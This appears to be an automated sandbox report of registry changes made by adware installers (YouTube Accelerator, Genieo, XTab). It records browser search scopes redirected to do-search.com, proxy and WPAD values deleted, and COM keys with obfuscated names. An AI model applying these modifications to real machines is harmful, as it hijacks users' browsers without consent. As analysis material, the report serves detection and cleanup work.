[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "46 35 D9 3F 63 8F D0 01"
"WpadDecisionReason" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAIDV" = "0"
"SBPIDV" = "0"
"SBAPW" = "PljGPm9d"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeLimit" = "1"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\sehlsRMuplph]
"(Default)" = "}QJijLDlnGtvlM\DtaARLXE@tLli@u"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspVersion" = "1.0.0.1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]
"resver" = "1.0.0.8"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\cgcdxuSksc]
"(Default)" = "mA_vX[@|ipql`LRKtAe^~Eu"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "CB 43 96 DA 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBPID" = "74e69be7-98f2-4545-86a7-90384c52884d"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\LdsE]
"(Default)" = "mncEDgoMD^EumhBjdoZcn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1431730972"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\pseKcc]
"(Default)" = "LOUkyRYt|UiWkfEh`JkAgsYbDSCk["

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator]
"SBAID" = "09d19378-3ffd-4726-b60b-7f15db982dc3"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "tSdO"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process YouTubeAcceleratorService.exe:3936 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "04 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"
"{K7C0DB872A3F777C0}" = "4C 88 88 3B 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

The process YouTubeAcceleratorService.exe:3576 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "01 00 00 00"
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"ThreadingModel" = "both"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{K7C0DB872A3F777C0}" = "53 D9 52 1B 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"(Default)" = "Computer Management 1.0 Object"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\InProcServer32]
"(Default)" = "C:\Windows\SysWOW64\mycomput.dll"

The Application deletes the following value(s) in system registry:

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"0"

The process YouTubeAcceleratorService.exe:4016 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "07 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 60 A4 44 A3"
"{K7C0DB872A3F777C0}" = "FF 77 BB 0E 5B 17 1F 41 54 D6 E0 64 22 18 AF B6"

The process trayapp_setup.gen:3788 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Genieo\Components\TrayApp\Personalization Tray Application\Components]
"Main" = "1"

[HKCU\Software\Genieo\Components\TrayApp\Personalization Tray Application]
"Path" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Genieo\Application"

The process genieo_setup.gen:1484 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Genieo]
"supported_langs" = ";en;"

[HKCU\Software\Genieo\Components\Partner]
"default_partner_version" = "1.0.400"
"active_partner" = "gim394750002"
"default_partner" = "genieo"
"install_monetizer_url" = ""

[HKCU\Software\Genieo]
"client_localization" = "en"

The process genupdater.exe:3948 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Genieo\Components\Updater\Genieo]
"PrepEnv" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"gim394750002_inst" = "0"

[HKCU\Software\Genieo\Components\FirstTime]
"UninstallURL" = "http://www.genieo.com/uninstall"

[HKCU\Software\Genieo]
"InstalledVersionUpdater" = "16741"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionTime" = "1F 9A AA 56 63 8F D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "67 FF 97 52 63 8F D0 01"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"framework_dl" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Genieo\Components\Framework\Personalization Framework\Components]
"Upgrading" = "1431730998"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"trayapp_dl" = "0"
"jre_dl_and_install" = "0"

[HKCU\Software\Genieo]
"InstalledVersionPartner" = "16741"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"trayapp_inst" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5D 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDecisionReason" = "1"

[HKCU\Software\Genieo]
"UID" = "{32251120-2B2D-43EF-B352-87E9353282DF}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Genieo\Components\Updater\Genieo\ComponentsInstallTime]
"gim394750002_dl" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9BA14452-3A93-4712-8A0D-BF6CFCC6695B}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process 9fdb4d8e-217e-49e0-bad3-9a6b945e3f76-4.exe:3424 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\SensePlus\Sxuc s6UHdkkBMI3TPbMDdOjupuw7F18Q7PshVRAk FZxDEu/apwrp/9MdF8gTh0dCgXajutsY2KOoFd bv1IitpbTes0RLNENToBGpPazaoliQi1tkegTAcOIGyiV3QRp6V6OquZlyL /e6vfFjGnQ2gaaJ1Jlo4GCXzibNflw=]
"llN1Jcd35X4oPnbdFkuoaACNUqQF3snJnuz/hEY7eN/KVqlSiUdbHUs0LaqrObNekoMAj 6UjKIgs U8d5qa1I/EEhPonbr1w3ffKbLitE1rN/cC9quJsxaJcPzDykUgzwFqrF/ Gzt 478ht9jhE3pvsTEzQ23gIYgcxI94mLs=" = "1"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\SensePlus\U/mwtMJQRCKR0dU2rxQ4oph6X45x6O83/tPa4qzbRFFQlpD8vi6EOqZi22NegCITusO1G3TtiH4LD Z8Lxftub6x5B8oXx7BwmBtVZA3jXV8s 2z06x6XpZkQN/5ATUtsPzEooip2Zh6xCXLYw dv uJG8jyegsaBUbTRn9nZDo=]
"Ul0n1X03IbQ6xiPBCEDslxZ9fsRrLJ/vqSZLr9gZ0O KUCestLVRWje2vR4RIlDDKH6ZKOwvlLyt17ra1z7xzZbKWwqNFFUjlmufcqRV4ch2iTPwfFjrdfz6c e4uUdC3qjqU0STqs6kBy2ggedKg6oa4w0h8SvBpRP2bxSQ61k=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process taskeng.exe:3284 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\Handshake\{EFB05CCA-D7EF-4BDE-A0F4-2BEA6C471B4D}]
"data" = "4D 45 4F 57 01 00 00 00 E4 B7 BD 92 8B F2 A0 46"

The process ytaiesmt_smtyc_setup.exe:2456 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

The process GLJCFEC.tmp:3460 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFPpg2.AniGIFPpg2]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ToolboxBitmap32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx, 1"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus]
"(Default)" = "0"

[HKCR\AniGIFCtrl.AniGIF\CLSID]
"(Default)" = "{82351441-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\AniGIFPpg.AniGIFPpg]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFPpg2.AniGIFPpg2.1]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\AniGIFPpg.AniGIFPpg\CurVer]
"(Default)" = "AniGIFPpg.AniGIFPpg.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\MiscStatus\1]
"(Default)" = "131473"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "IAniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}]
"(Default)" = "Animation GIF Control"

[HKCR\AniGIFCtrl.AniGIF\CurVer]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb\0]
"(Default)" = "&Properties,0,2"

[HKCR\AniGIFPpg2.AniGIFPpg2\CurVer]
"(Default)" = "AniGIFPpg2.AniGIFPpg2.1"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}]
"(Default)" = "AniGIFPpg Class"

[HKCR\AniGIFCtrl.AniGIF]
"(Default)" = "Animation GIF Control"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\AniGIFPpg.AniGIFPpg.1]
"(Default)" = "AniGIFPpg Class"

[HKCR\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Version]
"(Default)" = "1.5"

[HKCR\AniGIFPpg.AniGIFPpg.1\CLSID]
"(Default)" = "{6DC82D15-92F2-11D1-A255-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\0\win32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\FLAGS]
"(Default)" = "2"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}]
"(Default)" = "IAniGIFEvents"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Verb]
"(Default)" = ""

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"Version" = "1.5"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\ProgID]
"(Default)" = "AniGIFCtrl.AniGIF"

[HKCR\AniGIFCtrl.AniGIF\Insertable]
"(Default)" = ""

[HKCR\AniGIFPpg2.AniGIFPpg2.1\CLSID]
"(Default)" = "{61AB12E1-A5FF-11D1-B2E9-444553540000}"

[HKCR\Wow6432Node\CLSID\{61AB12E1-A5FF-11D1-B2E9-444553540000}]
"(Default)" = "AniGIFPpg2 Class"

[HKCR\Wow6432Node\Interface\{82351440-9094-11D1-A24B-00A0C932C7DF}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\TypeLib\{82351433-9094-11D1-A24B-00A0C932C7DF}\1.5\HELPDIR]
"(Default)" = "C:\Windows\SysWow64\"

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\InprocServer32]
"(Default)" = "C:\Windows\SysWow64\AniGIF.ocx"

[HKCR\Wow6432Node\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"Version" = "1.5"

[HKCR\Interface\{5252AC41-94BB-11D1-B2E7-444553540000}\TypeLib]
"(Default)" = "{82351433-9094-11D1-A24B-00A0C932C7DF}"

[HKCR\Wow6432Node\CLSID\{6DC82D15-92F2-11D1-A255-00A0C932C7DF}\InprocServer32]
"ThreadingModel" = "Apartment"

The Application deletes the following registry key(s):

[HKCR\Wow6432Node\CLSID\{82351441-9094-11D1-A24B-00A0C932C7DF}\Programmable]

The process XTab_Setup(2409).exe:3176 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\supTab]
"ptid" = "smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"TopResultURL" = "http://www.bing.com/search?q={searchTerms}&src=IE-TopResult&FORM=IETR02"
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Wow6432Node\CLSID\{51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F}\TypeLib]
"(Default)" = "{7D3C47ED-E0BE-4940-9DDA-A7A097AEBD88}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconURL" = "http://www.bing.com/favicon.ico"

[HKCR\TypeLib\{7D3C47ED-E0BE-4940-9DDA-A7A097AEBD88}\1.0]
"(Default)" = "SupTabLib"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\TypeLib\{7D3C47ED-E0BE-4940-9DDA-A7A097AEBD88}\1.0\FLAGS]
"(Default)" = "0"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCR\TypeLib\{7D3C47ED-E0BE-4940-9DDA-A7A097AEBD88}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCR\Wow6432Node\CLSID\{51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F}]
"(Default)" = "LuckyTab Class"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico"
"DisplayName" = "Bing"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{7D3C47ED-E0BE-4940-9DDA-A7A097AEBD88}"

[HKCR\Wow6432Node\CLSID\{51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F}\Version]
"(Default)" = "1.0"

[HKCR\Wow6432Node\CLSID\{51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F}\InprocServer32]
"(Default)" = "%Program Files% (x86)\XTab\SupTab.dll"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"FaviconURL" = "http://www.google.com/favicon.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 5A 00 00 00 09 00 00 00 00 00 00 00"

[HKCR\TypeLib\{7D3C47ED-E0BE-4940-9DDA-A7A097AEBD88}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\XTab"

[HKLM\SOFTWARE\Wow6432Node\SupDp]
"dir" = "%Program Files% (x86)\XTab"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconURL" = "http://do-search.com//favicon.ico"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"(Default)" = "{7D3C47ED-E0BE-4940-9DDA-A7A097AEBD88}"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "0"

[HKCR\Wow6432Node\CLSID\{51D26BB4-4D2C-4AE4-9873-5FF41B6DED1F}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"URL" = "http://do-search.com/web/?utm_source=b&utm_medium=&utm_campaign=install_ie&utm_content=ds&from=&uid=ST500DM002-1BC142_W2A27G6AXXXXW2A27G6A&ts=1420373293&type=default&q={searchTerms}"

[HKCR\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\AdvancedOptions\CRYPTO\PROTECTEDMODESECURITY]
"CheckedValue" = "PMIL"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}]
"(Default)" = "IIETabPage"

[HKCR\Wow6432Node\Interface\{917CAAE9-DD47-4025-936E-1414F07DF5B8}\TypeLib]
"Version" = "1.0"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}]
"FaviconPath" = "C:\Users\"%CurrentUserName%"\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{2023ECEC-E06A-4372-A1C7-0B49F9E0FFF0}.ico"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{E733165D-CBCF-4FDA-883E-ADEF965B476C}]
"TopResultURL" = "http://www.google.com/search?q={searchTerms}&sourceid=ie7&rls=com.microsoft:{language}:{referrer:source}&ie={inputEncoding?}&oe={outputEncoding?}"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
